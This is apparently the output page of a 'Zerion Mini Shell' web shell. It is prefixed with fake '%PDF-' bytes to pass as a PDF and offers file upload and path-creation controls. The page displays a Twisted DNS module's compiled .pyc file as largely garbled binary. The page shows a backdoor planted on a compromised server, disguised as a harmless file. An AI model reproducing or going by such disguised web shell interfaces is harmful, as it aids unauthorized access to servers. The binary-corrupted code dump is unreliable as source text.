%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/names/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/names/__pycache__/tap.cpython-312.pyc

�

Ϫ�f����dZddlZddlZddlmZmZddlmZmZm	Z	m
Z
ddlmZGd�dej�Z
d�Zd	�Zy)
z
Domain Name Server
�N)�internet�service)�	authority�dns�	secondary�server)�usagec��eZdZgd�gd�gd�gd�gZgd�gd�gd�gZejdej�i�	�Zd
Z	d
Z
d�Zd�Zd
�Z
d�Zd�Zd�Zy
)�Options)�	interface�i�zThe interface to which to bind)�port�p�53zThe port on which to listen)�resolv-confNNz6Override location of resolv.conf (implies --recursive))�
hosts-fileNNz!Perform lookups with a hosts file)�cache�czEnable record caching)�	recursive�rzPerform recursive lookups)�verbose�vz
Log verboselyr)�
optActionsNc�v�tjj|�d|d<g|_g|_g|_y)Nrr)r	r�__init__�	bindfiles�	zonefiles�secondaries��selfs �3/usr/lib/python3/dist-packages/twisted/names/tap.pyrzOptions.__init__+s3��
�
�
���t�$���Y�����������c��tjj|�stj|dz��|j
j
|�y)z7Specify the filename of a Python syntax zone definition�: No such fileN)�os�path�existsr	�
UsageErrorr�append�r!�filenames  r"�
opt_pyzonezOptions.opt_pyzone2�;���w�w�~�~�h�'��"�"�8�.>�#>�?�?������h�'r#c��tjj|�stj|dz��|j
j
|�y)z6Specify the filename of a BIND9 syntax zone definitionr%N)r&r'r(r	r)rr*r+s  r"�opt_bindzonezOptions.opt_bindzone8r.r#c��|jdd�}t|�dk7rtjd��|djd�}t|�dk(r|dtj
f}n	t
|d�}|d|f}|jj||dgf�y#t$rtjd|d����wxYw)	zwAct as secondary for the specified domain, performing
        zone transfers from the specified IP (IP/domain)
        �/��z-Argument must be of the form IP[:port]/domainr�:z$Specify an integer port number, not N)
�split�lenr	r)r�PORT�int�
ValueErrorrr*)r!�	ip_domain�args�addressrs     r"�
opt_secondaryzOptions.opt_secondary>s������s�A�&���t�9��>��"�"�#R�S�S��q�'�-�-��$���w�<�1���q�z�3�8�8�,�G�
��7�1�:���
�q�z�4�(�G�������4��7�)� 4�5���
��&�&�:�7�1�:�.�I���
�s�/B&�&%Cc��|dxxdz
cc<y)zIncrement verbosity levelrr3N�r s r"�opt_verbosezOptions.opt_verboseRs���Y��1��r#c��|drd|d<g|_g|_|jD]1}	|jjt	j
|���3|jD]1}	|jjt	j|���3|jD]o}tjj |�}|jj|�|jj|jdj#���q	t%|d�|d<y#t$r-tj�tjd|z��wxYw#t$r-tj�tjd|z��wxYw#t&$r(tjdj)|d���wxYw)NrTrzInvalid syntax in ���rzInvalid port: {!r})�svcs�zonesrr*r�PySourceAuthority�	Exception�	traceback�	print_excr	r)r�
BindAuthorityrr�SecondaryAuthorityService�fromServerAddressAndDomains�getAuthorityr9r:�format)r!�f�svcs   r"�postOptionszOptions.postOptionsVs����
�� $�D�����	���
����	A�A�
A��
�
�!�!�)�"=�"=�a�"@�A�	A����	A�A�
A��
�
�!�!�)�"9�"9�!�"<�=�	A��!�!�	<�A��5�5�Q�Q�ST�U�C��I�I���S�!��J�J���d�i�i��m�8�8�:�;�	<�	N��t�F�|�,�D��L���
A��#�#�%��&�&�';�a�'?�@�@�
A���
A��#�#�%��&�&�';�a�'?�@�@�
A���	N��"�"�#7�#>�#>�t�F�|�#L�M�M�	N�s#�.D*�).E#�F�*6E �#6F�1G
)�__name__�
__module__�__qualname__�
optParameters�optFlagsr	�Completions�CompleteNetInterfaces�compDatarErrr-r0r>rArQr@r#r"rrs��@�:�	
�	H�
�M�	0�7�)��H�!�u� � ��!<��!<�!<�!>�?��H�
�E��I��(�(�6�(�Nr#rc��ddlm}m}m}gg}}|dr$|j	|j|d���|dr$|j	|j
|d���|dr$|j	|j|d	�
��||fS)a%
    Build DNS resolver instances in an order which leaves recursive
    resolving as a last resort.

    @type config: L{Options} instance
    @param config: Parsed command-line configuration

    @return: Two-item tuple of a list of cache resovers and a list of client
        resolvers
    r)r�client�hostsrr)rr)�filerr)�
resolvconf)�
twisted.namesrr[r\r*�
CacheResolver�Resolver�createResolver)�configrr[r\�ca�cls      r"�_buildResolversrfrs���3�2�
���B�
�g��
�	�	�%�%�%�f�Y�.?�%�@�A�
�l��
�	�	�%�.�.�f�\�&:�.�;�<�
�k��
�	�	�&�'�'�6�-�3H�'�I�J�
�r�6�Mr#c��t|�\}}tj|j|||d�}t	j
|�}d|_tj�}tj|ftj|ffD]'\}}||d||d��}|j|��)|jD]}	|	j|��|S)Nrrrr)r)rfr�DNSServerFactoryrEr�DNSDatagramProtocol�noisyr�MultiServicer�	TCPServer�	UDPServer�setServiceParentrD)
rcrdrerOr�ret�klass�arg�srPs
          r"�makeServicers�s���
�V�
$�F�B��������b�"�f�Y�6G�H�A�����"�A��A�G�
�
�
�
 �C� �*�*�A�.��1C�1C�Q�0G�H� �
��s��&��.�#���1D�E��	���3�� ��{�{�"�����S�!�"��Jr#)�__doc__r&rH�twisted.applicationrrr_rrrr�twisted.pythonr	rrfrsr@r#r"�<module>rws=��
�
��1�;�;� �^N�e�m�m�^N�B�.r#

Zerion Mini Shell 1.0